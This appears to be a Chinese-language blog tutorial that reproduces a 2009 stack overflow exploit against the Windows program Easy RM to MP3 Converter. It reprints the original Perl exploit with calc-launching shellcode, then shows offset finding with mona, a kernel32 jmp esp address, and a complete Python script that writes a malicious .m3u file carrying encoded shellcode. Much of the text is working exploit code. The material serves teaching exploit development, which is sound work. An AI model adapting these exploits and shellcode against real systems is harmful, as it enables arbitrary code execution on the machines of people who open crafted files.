1. 程式人生 > >經典棧溢位 Easy RM to MP3 Converter

經典棧溢位 Easy RM to MP3 Converter

以一個樣本(Easy RM to MP3 Converter)將作為經典棧溢位的講解例項,首先說明此實驗是WIN10環境下復現的;

“Easy RM 2 MP3 Converter”是一個音訊格式的轉換工具,年代比較久遠了。在2009年7月17日,packetstormsecurity公開了該軟體的一個棧溢位漏洞並提供了exploit:https://packetstormsecurity.com/files/79357/Easy-RM-To-MP3-Converter-Stack-Overflow.html

Exp-DB也收錄了這一漏洞:https://www.exploit-db.com/exploits/9186/

公開的exp在我的電腦上面是不可以運行了,我們先來分析一下這個exp:

#!/usr/bin/perl
# Easy RM to MP3 Converter .m3u file Universall Stack Overflow Exploit
# it's so diferent to the first exploit .pls
# by stack
# xd Alpha zrebti 3liha :d
# Thnx to Zigma & His0k4 & HOD
my $header= "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46".
            "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F".
            "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20".
            "\x0D\x0A\x44\x3A\x5C";
  
my $junk  = "\x41" x 1293;
my $ret   = "\xDB\x70\xBB\x01"; # Universal return adress :d
my $nop   = "\x90" x 220;
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
my $calc_shell =
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
    "\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47".
    "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48".
    "\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x53\x4b\x48".
    "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
    "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
    "\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38".
    "\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54".
    "\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58".
    "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43".
    "\x42\x4c\x46\x36\x4b\x58\x42\x34\x42\x33\x45\x48\x42\x4c\x4a\x57".
    "\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a".
    "\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b".
    "\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x33".
    "\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x47".
    "\x42\x55\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x39".
    "\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x36".
    "\x4e\x56\x43\x36\x50\x32\x45\x36\x4a\x57\x45\x56\x42\x30\x5a";
 
$id = $ARGV[0];
if ($id==1){
print "$header$junk$ret$nop$calc_shell";
exit;
}
print "\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print " +++                                                              +++\n";
print " +++                                                              +++\n";
print " +++ Easy RM to MP3 Converter Universall Stack Overflow Exploit   +++\n";
print " +++ Written By Stack                                             +++\n";
print " +++                                                              +++\n";
print " +++   Usage Ex.: perl $0 1 >>Exploit.m3u                         +++\n";
print " +++                                                              +++\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
exit;
#EOF

 

這段shellcode明顯是由header,junk,ret(返回地址),nop填充以及一個彈出計算機的shellcode構成的,其中這個header可能是指定的檔案的檔案頭,header和junk是用於填充ESP和EBP之間的記憶體空間(包括EBP本身),而”\xDB\x70\xBB\x01”是一個硬編碼的地址,這個地址很可能是“jmp esp”或者"call esp"之類指令的地址;

因為這段shellcode已經不能用了,所以我們需要重新去尋找junk字串的大小,“jmp esp”或者“call esp”的地址,只要找到這兩個主要的東西后,我們就可以重新部署我們的shellcode了;

我們先用python來重新書寫一下exp的模板:

import sys
header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46" 
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"
junk = "A" * 10000
payload = header + junk
if len(sys.argv) < 2:
    print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
    with open(sys.argv[1],"w") as f:
        f.write(payload)

 

我將junk字串用10000個"A"來替代,然後暫時去除了shellcode,然後,我們用命令列來生成一個ev1.m3u的檔案,然後用這個程式開啟:

程式彈出了一個對話方塊,提示了一個錯誤,點選確定後程序一切正常,並沒有崩潰;

於是我們將10000個“A"改為30000個“A”,重新生成檔案ev1.m3u,然後重新用這個軟體開啟此檔案,發現程式死掉了;

根據我們對棧溢位的理解,程式崩潰是因為當前棧幀的返回地址被0x41414141所覆蓋,而0x41414141處的指令是不可控的(記憶體空間要麼未分配,要麼指令因不可控而異常)。通過偵錯程式來定位一下,程式的最後是否按照預期所想。使用Windbg附加程序,g命令執行起來,然後載入evil1.m3u,然後我們用dd esp命令檢視一下:

可以看到程式確實跑到了0x41414141指令處;

定位ret eip

但要如何定位ret eip在棧上的地址呢?我們填充的資料全是’A’,崩潰時根本看不出是哪個地址處的’A’覆蓋了ret addr。

對於這種情形,有2種常見的手法來解決:

  1. 第一種是直接通過動態除錯和靜態除錯,比如找到關鍵函式呼叫地址,通過下斷點的方式,在程式崩潰前後觀察棧記憶體空間,如果是靜態除錯的話甚至可以根據反彙編碼直接計算出ret addr與可控輸入資料的距離。
  2. 第二種是懶人萬用方法,可以直接用一組pattern特徵junk來填充,觀察程式崩潰時跳轉的地址來定位ret addr與資料起始的偏移。

第二種方法無疑比較簡單,這裡就使用它來操作一下,直接用windbg的mona.py外掛:

!py mona pattern_create 30000

 

用HEX這30000個位元組資料替代之前的poc.py中的junk;資料大,不貼程式碼

可以觀察到這一組資料有很明顯的特徵,可以根據這一組精心夠造的序列輕易的判斷出ret addr是哪4個連續的位元組。

再次除錯,看看ret address跳到了哪裡:

因為Intel是小端,所以我們把地址換成”\x48\x6d\x33\x48”,把這4個位元組在30000個位元組中搜索一下,就知道ret addr的偏移了。

可以手動搜尋,也可以繼續用mona.py外掛提供的pattern_offset。最終找到偏移為26105;

編寫exp

要讓我們的esp可用,那麼只需要找到一條穩定的”jmp esp“指令的地址,覆蓋ret addr,就可以了;

而jmp esp的地址我們可以通過mona外掛的jmp -r esp -m KERNEL32.DLL來查詢。選擇kernel32.dll是因為它比較穩定,這個dll會被所有使用者態應用程式載入,且基址固定(系統未開啟ASLR,就算開啟了ASLR,這個地址在重啟前也都是固定的(受限於Windows DLL載入的設計),方便除錯),除了kernel32.dll,user32.dll也經常作為選擇;

 

我們用0x75a9dd50覆蓋ret addr,shellcode先暫時設定成”\xcc”,也就是’int 3’指令。

再次測試,程式確實如預期跳到了棧上的shellcode起始位元組處開始執行(當前是int 3)了,說明這個地址可以用;

於是最終的exp:

import sys

header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46" 
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"

junk="A"*26105

ebp="B"*4

ret = "\x50\xdd\xa9\x75"     #jmp esp

buf ="\xb8\x6f\xa0\x67\x4a\xd9\xc3\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
buf +="\x30\x31\x42\x13\x03\x42\x13\x83\xea\x93\x42\x92\xb6\x83\x01"
buf +="\x5d\x47\x53\x66\xd7\xa2\x62\xa6\x83\xa7\xd4\x16\xc7\xea\xd8"
buf +="\xdd\x85\x1e\x6b\x93\x01\x10\xdc\x1e\x74\x1f\xdd\x33\x44\x3e"
buf +="\x5d\x4e\x99\xe0\x5c\x81\xec\xe1\x99\xfc\x1d\xb3\x72\x8a\xb0"
buf +="\x24\xf7\xc6\x08\xce\x4b\xc6\x08\x33\x1b\xe9\x39\xe2\x10\xb0"
buf +="\x99\x04\xf5\xc8\x93\x1e\x1a\xf4\x6a\x94\xe8\x82\x6c\x7c\x21"
buf +="\x6a\xc2\x41\x8e\x99\x1a\x85\x28\x42\x69\xff\x4b\xff\x6a\xc4"
buf +="\x36\xdb\xff\xdf\x90\xa8\x58\x04\x21\x7c\x3e\xcf\x2d\xc9\x34"
buf +="\x97\x31\xcc\x99\xa3\x4d\x45\x1c\x64\xc4\x1d\x3b\xa0\x8d\xc6"
buf +="\x22\xf1\x6b\xa8\x5b\xe1\xd4\x15\xfe\x69\xf8\x42\x73\x30\x96"
buf +="\x95\x01\x4e\xd4\x96\x19\x51\x48\xff\x28\xda\x07\x78\xb5\x09"
buf +="\x6c\x76\xff\x10\xc4\x1f\xa6\xc0\x55\x42\x59\x3f\x99\x7b\xda"
buf +="\xca\x61\x78\xc2\xbe\x64\xc4\x44\x52\x14\x55\x21\x54\x8b\x56"
buf +="\x60\x37\x4a\xc5\xe8\xb8"

nop = "\x90" * 30

shellcode = nop + buf

payload=header+junk +ebp +ret+ "Z"*4+ shellcode

if len(sys.argv) < 2:
    print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
    with open(sys.argv[1],"w") as f:
        f.write(payload)